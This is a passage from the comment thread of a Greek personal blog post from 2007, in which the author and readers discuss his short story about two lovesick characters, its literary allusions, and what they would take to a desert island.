    ετσι για «να ταιριαζουν» οδηγησα δύο πλάσματα στην νευρική ανορεξία που θα ήθελα να μη είναι παθολογική αλλά αυτή η ανορεξια του «ερωτοχτυπημένου».
    πλαγίως υπαρχει στίχος του Ελύτη στην αρχή : «…στα μισά του πελαγου» που μετα την επαφή με τη Ντεμπι γίνεται «…η ξένη» του σφακιανάκη στην ύπνωση .
    οι χημείες των ηρώων είναι ανεξέλεγκτες, μιξαρονται σε ένα κοκτέιλ χωρίς καμία όπτική «ερωτα» που είναι το αναμενόμενο.
    στο τέλος η σέξυ ντέμπι μαγειρεύει και αυτός παραδεχεται ότι είναι «ακόμα μαζί».
    γίνεται ένας ολόκληρος κύκλος με κατάλληξη τα γονεϊκά μας πρότυπα.
    και πάλι όμως χωρίς να ειμαστε σίγουροι ότι προσγειώνονται και χάνεται η μαγεία.
    :)^^

    Σχόλιο από thelastrealanwnymous — Μαΐου 11, 2007 @ 5 :15 μμ | Απάντηση

  24. αλλ μάι λάιφ
    απνευστί;
    θενκς .
    με μία λέξη μου μεταφέρεις την εμπειρία.
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 11, 2007 @ 5 :16 μμ | Απάντηση

  25. ..θα πήγαινα σε ένα έρημο νησί:-p
    Keep walking stranger , u rule

    Σχόλιο από Sardonian — Μαΐου 11, 2007 @ 7 :00 μμ | Απάντηση

  26. Σε αυτό το μοντέλο δεν υπάρχει προσγείωση, έτσι όπως τουλάχιστον αφήνεις να φανεί μέσα από το διήγημα.

    Και συμφωνώ απόλυτα. Αυτά τα δύο πλάσματα που έχουν βρεθεί κάτω από αυτές τις συνθήκες και κάνουν αυτή τη διαδρομή μέχρι να συναντηθούν δεν έχουν σχέση με προσγείωση.

    Απλά πρέπει να είναι προετοιμασμένα – αν γίνεται ποτέ αυτό – για τη στιγμή που ίσως(;) δυστυχώς αναπόφευκτα(;) τελειώσουν τα ‘καύσιμα’.

    Σχόλιο από So_Far — Μαΐου 11, 2007 @ 7 :10 μμ | Απάντηση

  27. Sardonian
    είσαι παλιος στα μπλογκς και μου δίνεις ιδέες για να κάνω τη μέρα μου λιγώτερο αγχωτική.
    νομίζω ότι ανακαλύπτεις ιδεολογικά στηρίγματα για τη χρησιμότητα αυτών των ιντερνετικών εργαλείων.
    εγώ σήμερα λειτούργησα πανω στα αχνάρια σου , πήγαινε να δεις το σχόλιο μου στο τελευταίο ποστ σου .
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 12, 2007 @ 11 :35 πμ | Απάντηση

  28. σο φαρ
    «…οταν τελειώσουν τα καύσιμα»
    τι ειχαμε πει εμείς;
    η ζωή είναι πιο ενδιαφέρουσα όταν ανάψει το λαμπάκι της βενζίνης.
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 12, 2007 @ 11 :38 πμ | Απάντηση

  29. Συμφωνώ απόλυτα, η ζωή είναι πιο ενδιαφέρουσα όταν ανάψει το λαμπάκι της βενζίνης,

    αλλά για αυτούς τους δύο κατά βάθος δεν θα ήθελα να γίνει έτσι.

    Σχόλιο από So_Far — Μαΐου 12, 2007 @ 1 :57 μμ | Απάντηση

  30. exeis talento….exw meinei afwnh….tosa nohmata…tetoia istoria…ase pou se kapoia fash mou thumiseis ligo Paulo Coelho

    Σχόλιο από blue — Μαΐου 13, 2007 @ 1 :37 μμ | Απάντηση

  31. Το αφήγημα υπέροχο – κι ευχαριστώ την So far, μέσω της οποίας βρέθηκα εδώ…
    Όσο για την ερώτηση «Τι θα παίρνατε μαζί σας σ’ ένα έρημο νησί το Καλοκαίρι;»… Δεν ξέρω… Μάλλον θάθελα να γνωρίζω ένα άτομο, που να μου κάνει την ερώτηση και αυθόρμητα και ελικρινά να απαντήσω απλώς «Εσένα!» Τίποτ’ άλλο…

    Σχόλιο από Asteroid — Μαΐου 14, 2007 @ 7 :46 πμ | Απάντηση

  32. blue
    αν το σύμπαν συνομωτεί εναντίον όλων των άλλων συγγραφεων , τότε ελπίζω να τα καταφερω.
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 14, 2007 @ 11 :25 πμ | Απάντηση

  33. αστερόιντ
    «εσένα» είναι η σωστή απάντηση.
    τώρα νομίζω ότι είσαι ετοιμη να ζήσεις την απόλυτη περιπετεια.
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 14, 2007 @ 11 :27 πμ | Απάντηση


RSS feed for comments on this post. TrackBack URI

Σχολιάστε

Εισάγετε τα παρακάτω στοιχεία ή επιλέξτε ένα εικονίδιο για να συνδεθείτε:

Λογότυπο WordPress.com

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό WordPress.com. Αποσύνδεση / Αλλαγή )

Φωτογραφία Twitter

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Twitter. Αποσύνδεση / Αλλαγή )

Φωτογραφία Facebook

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Facebook. Αποσύνδεση / Αλλαγή )

Φωτογραφία Google+

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Google+. Αποσύνδεση / Αλλαγή )

Σύνδεση με %s

Δημιουργήστε ένα δωρεάν ιστότοπο ή ιστολόγιο στο WordPress.com.

Αρέσει σε %d bloggers: